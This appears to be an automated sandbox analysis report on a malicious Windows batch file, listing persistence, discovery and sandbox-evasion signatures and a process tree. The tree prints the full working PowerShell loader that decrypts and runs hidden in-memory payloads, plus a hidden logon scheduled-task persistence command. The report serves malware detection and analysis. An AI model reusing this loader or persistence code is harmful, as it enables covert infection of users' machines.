Overview

overview

8

Static

static

1

Skqkqmpou.bat

windows10-ltsc_2021-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    07/09/2026, 01:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Skqkqmpou.bat
  • Size 500KB
  • Sample260907-b47nbatzhy
  • SHA256 8a9c79c36a0c56202b982b170c195438482c6fc1c32e775ca4ccef65261df710
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Loads dropped DLL 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 51 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Skqkqmpou.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function HMLBcwIi($param_var){$aes_var=[System.Security.Cryptography.Aes]::Create();$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aes_var.Key=[System.Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))('e6adiXvM0EbLz/lAtDnvocEKAiovf8MydHmOCLX+pBs=');$aes_var.IV=[System.Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))('ieTpzRtUkBGtip7e6faUOQ==');$decryptor_var=$aes_var.CreateDecryptor();$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);$decryptor_var.Dispose();$aes_var.Dispose();$return_var;}function BjFKmLLu($param_var){$AwNFL=New-Object System.IO.MemoryStream(,$param_var);$ylybI=New-Object System.IO.MemoryStream;$WrBvm=New-Object System.IO.Compression.GZipStream($AwNFL, [IO.Compression.CompressionMode]::Decompress);$WrBvm.CopyTo($ylybI);$WrBvm.Dispose();$AwNFL.Dispose();$ylybI.Dispose();$ylybI.ToArray();}function WzGDcZLz($param_var,$param2_var){$rujDT=[System.Reflection.Assembly]::('L9o9a9d' -split '9' -join '')([byte[]]$param_var);$quLbI=$rujDT.EntryPoint;$quLbI.Invoke($null, $param2_var);}$rGIjK = 'C:\Users\Admin\AppData\Local\Temp\Skqkqmpou.bat';$host.UI.RawUI.WindowTitle = $rGIjK;$cySxj=[System.IO.File]::('Rea'+'dAl'+'lTe'+'xt')($rGIjK).Split([Environment]::NewLine);foreach ($tAhMW in $cySxj) {if ($tAhMW.StartsWith(':: atwxoI ')){$GvApz=$tAhMW.Substring(10);break;}}$payloads_var=[string[]]$GvApz.Split([char]33);$payload1_var=BjFKmLLu (HMLBcwIi ([Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))($payloads_var[0])));$payload2_var=BjFKmLLu (HMLBcwIi ([Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))($payloads_var[1])));WzGDcZLz $payload1_var $null;WzGDcZLz $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3552
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'pWAaQxTNSd_920_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\ZxBJjWcAzN_920.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4240
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ZxBJjWcAzN_920.vbs"
        3⤵
        • Checks computer location settings
        • Executes a VBScript file via the Windows Script Host.
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:660
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\ZxBJjWcAzN_920.bat" "
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function HMLBcwIi($param_var){$aes_var=[System.Security.Cryptography.Aes]::Create();$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aes_var.Key=[System.Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))('e6adiXvM0EbLz/lAtDnvocEKAiovf8MydHmOCLX+pBs=');$aes_var.IV=[System.Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))('ieTpzRtUkBGtip7e6faUOQ==');$decryptor_var=$aes_var.CreateDecryptor();$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);$decryptor_var.Dispose();$aes_var.Dispose();$return_var;}function BjFKmLLu($param_var){$AwNFL=New-Object System.IO.MemoryStream(,$param_var);$ylybI=New-Object System.IO.MemoryStream;$WrBvm=New-Object System.IO.Compression.GZipStream($AwNFL, [IO.Compression.CompressionMode]::Decompress);$WrBvm.CopyTo($ylybI);$WrBvm.Dispose();$AwNFL.Dispose();$ylybI.Dispose();$ylybI.ToArray();}function WzGDcZLz($param_var,$param2_var){$rujDT=[System.Reflection.Assembly]::('L9o9a9d' -split '9' -join '')([byte[]]$param_var);$quLbI=$rujDT.EntryPoint;$quLbI.Invoke($null, $param2_var);}$rGIjK = 'C:\Users\Admin\AppData\Roaming\ZxBJjWcAzN_920.bat';$host.UI.RawUI.WindowTitle = $rGIjK;$cySxj=[System.IO.File]::('Rea'+'dAl'+'lTe'+'xt')($rGIjK).Split([Environment]::NewLine);foreach ($tAhMW in $cySxj) {if ($tAhMW.StartsWith(':: atwxoI ')){$GvApz=$tAhMW.Substring(10);break;}}$payloads_var=[string[]]$GvApz.Split([char]33);$payload1_var=BjFKmLLu (HMLBcwIi ([Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))($payloads_var[0])));$payload2_var=BjFKmLLu (HMLBcwIi ([Convert]::([string]::new([char[]]@(70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)))($payloads_var[1])));WzGDcZLz $payload1_var $null;WzGDcZLz $payload2_var (,[string[]] (''));
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3316
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              H4sIAAAAAAAEAFO6xMh1npHrDCOXgpGluaWhq7Ozs4mFq5GrpYmhs6OZsauFq5O5o5OhiZG5ErOfvqOWQHhmXkp+ebGCoYGCmYlTZokRq4meiZ6hFa9jSm5mXmZxSVFiSX6REz+YG+3uGuwR5uTpFutxcCtzEI+hgbmeoYmlnoWeqXkUyLwEliJ2l9S0xNKckipLZ6sYqOkxwZXF4f7hZiYwgYD88tSi4IzUnJyYMkM9g5gCEL8YxNdLrUhtYuQxSFEwyFAwyFUwNC4GAEiZBPnVAAAA
              6⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:6028
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                7⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Enumerates connected drives
                • Checks SCSI registry key(s)
                • Modifies registry class
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:5832
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "data:text/html,<title>PURE! MSEDGE</title>" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --use-gl=angle --use-angle=swiftshader-webgl --disable-gpu --disable-gpu-compositing --disable-accelerated-compositing --disable-software-rasterizer --disable-d3d11 --disable-3d-apis --mute-audio --disable-audio
                7⤵
                • Loads dropped DLL
                • Drops file in Windows directory
                • Checks processor information in registry
                • Enumerates system info in registry
                • Modifies data under HKEY_USERS
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:2304
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x280,0x7ff89721c188,0x7ff89721c194,0x7ff89721c1a0
                  8⤵
                    PID:4596
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --use-angle=swiftshader-webgl --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAQAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --always-read-main-dll --metrics-shmem-handle=1744,i,1671300940117910499,3792273161333075637,262144 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
                    8⤵
                      PID:5680
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,14532722462842793868,4557904836526758456,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:3
                      8⤵
                      • System Time Discovery
                      PID:4232
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,1754216969770264934,7458292711029625298,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=3032 /prefetch:8
                      8⤵
                        PID:964
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3124,i,14740593353926191730,16859485124035991894,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:1
                        8⤵
                          PID:2668
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,15045207928894761077,6644801413969271008,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
                          8⤵
                            PID:3772
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4480,i,4807933018777224049,1279815050007743604,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:8
                            8⤵
                              PID:472
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,8884429089180486578,13127052800895697460,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:8
                              8⤵
                                PID:5296
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4940,i,12959146024512731759,2566666924023510688,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:8
                                8⤵
                                  PID:4652
                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4940,i,12959146024512731759,2566666924023510688,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:8
                                  8⤵
                                    PID:2520
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,17781146880250249129,15897709183710595373,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:8
                                    8⤵
                                      PID:388
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5356,i,14331595097640845708,10809614071772927616,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:1
                                      8⤵
                                        PID:3652
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5504,i,17672391026356902406,6113906492655561136,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:1
                                        8⤵
                                          PID:828
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5376,i,10843765495402599612,18248737661013029229,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:1
                                          8⤵
                                            PID:3000
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-3d-apis --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5012,i,7949375345658550293,15688336365588206464,2097152 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:1
                                            8⤵
                                              PID:1552
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,8909589023463470333,7455824407982366937,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:8
                                              8⤵
                                                PID:3504
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,4600817099067015184,583007944720678131,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:8
                                                8⤵
                                                  PID:4724
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,6870207979294608013,17543706946234116617,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:8
                                                  8⤵
                                                    PID:4360
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,13862628779355756032,4781499440114448008,524288 --field-trial-handle=2244,i,17818349681919272509,3078794660408864301,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:8
                                                    8⤵
                                                      PID:5968
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
                                                      8⤵
                                                      • Loads dropped DLL
                                                      • Checks processor information in registry
                                                      • Enumerates system info in registry
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2924
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2d4,0x7ff89721c188,0x7ff89721c194,0x7ff89721c1a0
                                                        9⤵
                                                          PID:4452
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,18075835988428292501,7184683501668741704,524288 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:3
                                                          9⤵
                                                          • System Time Discovery
                                                          PID:6256
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1728,i,12887443899684240560,15383187468736693971,262144 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:2
                                                          9⤵
                                                            PID:6292
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2380,i,1941788822791516467,18228597287855064994,524288 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:8
                                                            9⤵
                                                              PID:6432
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4376,i,2098623726587487074,8533497935313728402,524288 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:8
                                                              9⤵
                                                                PID:6816
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4376,i,2098623726587487074,8533497935313728402,524288 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:8
                                                                9⤵
                                                                  PID:4688
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1736,i,13720259138544755398,1792944422710191183,262144 --field-trial-handle=2320,i,2570393328315209087,4644061339340672802,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
                                                                  9⤵
                                                                    PID:3052
                                                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                    1⤵
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:5088
                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                    1⤵
                                                    • Modifies registry class
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:5400
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                    1⤵
